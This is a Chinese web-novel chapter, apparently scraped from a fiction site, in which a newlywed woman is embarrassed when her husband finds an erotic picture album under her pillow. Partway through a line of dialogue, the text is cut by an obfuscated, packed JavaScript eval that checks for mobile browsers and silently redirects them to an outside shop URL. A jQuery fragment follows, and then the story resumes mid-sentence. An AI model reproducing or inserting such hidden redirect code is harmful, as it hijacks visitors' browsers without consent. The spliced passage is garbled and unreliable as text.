文趣网 > 其他小说 > 小将军他打脸真香了 > 20. 第二十章
    这一觉睡得很沉,直至月上柳梢时,方才清醒过来。

    屋外,廊下已掌起了灯。灯光从窗子里透进来,洒在地上,朦朦胧胧。

    身子有点懒,沈照微没有急于起床,赖在床上,拿胳膊搭在额头上出神。

    这时,外面有人说话:

    “姑爷来啦?”

    “嗯,她醒了没有?”

    “没呢。要不您先四处走走,或者去隔壁吃杯茶水等等?”

    “这都睡几个时辰了?你快进去把她喊醒,再睡,睡傻了。”

    “可是……”

    “别磨蹭了,按我说的做。”

    “哦……”

    这是风信在和裴惊昼周旋。

    门敲了两下,随即打开,风信蹑步进来,看见她抬着胳膊,便唤道:“姑娘,您几时醒的?怎么不叫我?”

    “我也是才醒。”把胳膊放平了,沈照微挪动脑袋往外面张望,依稀可见走廊下背对着负手立着一个人,那指定是裴惊昼了。忽然嘴不听使唤,问:“他来都来了,干嘛杵在外边?怎么不进来?”

    风信愣了一下,笑道:“您还没起,不方便吧。”

    她脱口而出:“可是我们每天在一个屋子里住,大概样子也都看过了,有什么不方便的呢?”

    业已说完,方回转过来,自己究竟在说些什么。

    耳朵里嗡的一声,羞得赶紧举手捂脸:“我简直是睡糊涂了,在说梦话……你勿声张,小心被他听了去……”

    风信扭头望望外边,裴惊昼已款款入了屋子,正站在背后眯眼看过来,却并未发言。

    风信掉过脸来,对沈照微挤眉弄眼,悄声悄气道:“好像晚了……”

    从指缝间,沈照微拼凑出了裴惊昼此刻的样貌:他微眯的眼睛里,似是玩味,似是惊诧,又似是迷茫。虽无法确定他具体的心态,然可以确定,她适才不合时宜的话,一字不漏进了他的耳朵里。

    真真就是雪上加霜。

    沈照微更加不敢露脸,在掌心的隐藏下,死死咬住了下嘴唇。

    风信夹在两人中间,进退两难,干笑两声,一拍脑门道:“哎呀,差点忘了!”

    说时,转身从桌上取来剩余的那颗解酒丸,并一杯水,向沈照微道:“您把它吞服了,酒劲就完全解了。”

    黑乎乎圆滚滚的药丸入目,勾起了一段记忆。沈照微不自禁咂咂嘴,仿佛又回味起了他指尖触及唇舌时的感觉。

    她自以为全部挡住了面目,做什么动作皆随心所欲。实则从裴惊昼的视角来看,她滴溜转的眼神,连同轻轻翕动的嘴巴,一清二楚。

    裴惊昼不自觉搓搓右手拇指食指,侧开了身子,道:“我是左等右等等不到你,再加上母亲那头派人来问是什么情况,便进来看看。”

    他清了清嗓子,就着椅子坐定,两眼朝向门外,接着说:“这回我就不喂你了,自个儿咽了,快点起来收拾。母亲准备了一桌子饭菜,等着你我回去呢。”

    这人真是哪壶不开提哪壶……沈照微回他,仔细倾听的话,会发现她声音都在打颤:“唔……你先回避一下,我好起。”

    裴惊昼道:“你不穿着衣服呢吗?我还在外边,我又不看你,你快点的吧。”

    弦外之音:你刚刚自己都表示,你我同吃同住,甚是熟悉。现在又扭捏个什么劲?

    “哦……”沈照微难堪地拿开挡脸的手,瞄一瞄他果然面对门外,目不斜视,才慢吞吞服下解酒丸,掀被子准备下地。

    或许是睡久了,脚踩在地板上,一阵麻意袭来,全然使不上力,猛然一闪。

    不凑巧的是,风信去放水杯了,她眼看着一头栽下去。

    裴惊昼警醒,当即发觉,疾步而来,牢牢接住了她。

    她的脸埋在他胸口,双手死死抓着他的腰带,整个人呈倾倒状。

    廊上有下人结伴经过,看见他们俩拥抱依偎的剪影,会心一笑,均道:“看来这程子三姑娘三姑爷相处得不错。”

    风信急转头,见她没有摔着,悬着的心落了地。又见她紧紧依靠在裴惊昼怀里,极其和谐,脸上一热:“我去打热水!”言罢,屈膝蹭着墙根退下。

    关门的动静,使沈照微如梦初醒,忙从他的衣襟里拔出脸来,后退两步,垂首道:“多亏有将军……”

    “……小事。”情急之下,她不管不顾乱抓,不偏不倚抓着了裴惊昼的腰带。原来是紧身,现在变得松松垮垮。他迅速转身给重新系紧了,事后装作没事人一样,有意打趣她几句。倏尔瞥见床上,枕头底下冒出一个蓝色的尖尖,疑似书角,便问道:“那是什么书?倒馋得你睡下也要捧着看,看完了还塞在枕头下。”

    枕头下有书?沈照微一怔,顾不得为才出过的糗而害臊,回头搬起枕头。

    映目第一眼,空空的一张蓝色封皮。

    光看这个,仍然没印象。她于是拾起来,翻开一页过目。但见微微泛黄的书页上,画着一男一女相拥狎昵,惟妙惟肖。

    她立刻记起了所有——这是成婚之前二嫂偷偷塞给她的画册子,上头尽是教男女情事的。当时,她寥寥看了一两页,便臊得再不忍睹,顺手藏在了枕头下面,没好意思往裴家带。结果一来二去的,就淡忘了它的存在。

    万万想不到,这东西依然原封不动地留在此。更料不到,今时今日会由裴惊昼提醒,再度翻出来重见天日……

    满脑子通通是绝不能给他看见这个念头,沈照微用力扣上那玩意,佯装随性地放下,笑一笑:“就是一本闲书,随便看看,没、没什么特别的。”

    她当真害怕他玩心大发去看那书,就坐到床头,以身躯挡住它,不让他多看一眼。

    裴惊昼也算对她有些认知,她说话吞吞吐吐、目光四处乱飘,坐下来呢,又两只手抠来抠去,明摆着是心虚。

    “哦?”裴惊昼挑眉道,“真没什么?”

    “真的没什么。”

    “真没什么的话——”裴惊昼步步逼近。一时,他的衣袍能碰到她的膝盖。他略略倾身,注视着她细微颤动的眼睫,“你心虚什么?”

    她眼光一定,然后又开始飘忽:“我哪里心虚……我没有,你不要胡说。”

    裴惊昼不依不饶:“你说我是胡说?好,你抬起头来,看着我的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17833583|210234||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼睛。”

    此情此景,她已经没法思考了,依从他的要求,慢慢地抬眸。

    他在笑,透着坏心思的那种笑。

    他的五官渐渐放大,直到双目再承载不下。

    “啧。”耳畔,热息吹拂,“真没什么的话,我看一眼,也无所谓吧?”

    尾音擦过耳廓。紧随其后,眼梢晃过一个黑影,继而飞快晃回来。再定睛看时,那书已经落到了他手里。

    他托着书,冲她得逞地笑:“我必须瞅瞅,它上头究竟写了什么,值得你藏藏掖掖的。”

    她头皮一炸,蹿身起来,举高手臂去夺:“什么都没有,就是一本平平无奇的书!别看了,看了也是浪费时间……”

    他仗着个头高,稍稍一抬,饶她如何踮脚抢夺,偏是够不到。

    “你看你,急成这样。我就看看,能怎么着?你也少不了一块肉。”事已至此,裴惊昼已断定这书有猫腻,“而且,我现在闲得没事做,浪费一会时间正好。”

    说着,他掀开了书皮。

    呼吸骤停,沈照微没有勇气再待下去,欲躲走,奈何两腿似有千斤重,寸步难移。

    随着封皮的揭开,裴惊昼眉眼间的笑意陡然僵住。

    “嗯?”他狐疑地又往后翻了几页,面上彻底没了笑,大力地合上书,眉头皱得前所未有地深,“你……”

    沈照微心如死灰,埋下头,耷拉着两条胳膊,两只手互相攥紧,嗫嚅道:“不是……我的……”

    裴惊昼捏着书角,感觉像个烫手山芋,扔开也不是,拿在手里也不是。憋了半晌,他说:“不是你的,那是谁的?”

    “是我二嫂给我的……”她声音越来越弱,“我没看过,真的没看过……”

    “那这书……”

    沈照微咬牙道:“你给我,我改明儿还给二嫂……”

    裴惊昼踱至一旁,赶紧把书掖入被子底下,摸了摸鼻子:“这玩意,你还是少看,对……身体不好。”

    沈照微急切分辩:“我说了,我没看过……!”

    “没看过啊,没看过好啊……”裴惊昼连连点头。

    “你点什么头?我真的没看过……”沈照微近乎无地自容,“我何时诓骗过你?你还不信我……”

    这时候,风信端着水盆推门进来,见他们二人面色发红,站得挺近,却都不看对方,与刚刚柔情脉脉的气氛对不上。不由心下怪异,试问:“姑娘,姑爷,你们……吵架了?”

    两人异口同声:“没有吵架。”

    还怪有默契的呢。风信笑说:“哦,没有吵架就好!”

    “你抓紧梳洗,我去外面等你。”裴惊昼没有理会风信,阔步去了。

    风信搁下水盆,却瞧沈照微没有过来,正钻在床帐子里翻倒什么。

    风信凑上去,见她抱着一本书,奇道:“今天回来没见姑娘带书啊……这是哪里来的书?”

    沈照微一把塞与她:“你别多问了。一会你去找一趟二嫂,把它给二嫂,就说这东西我用不上,留在身边也不合适。二嫂会明白的。”

    风信云里雾里,但仍是应了下来。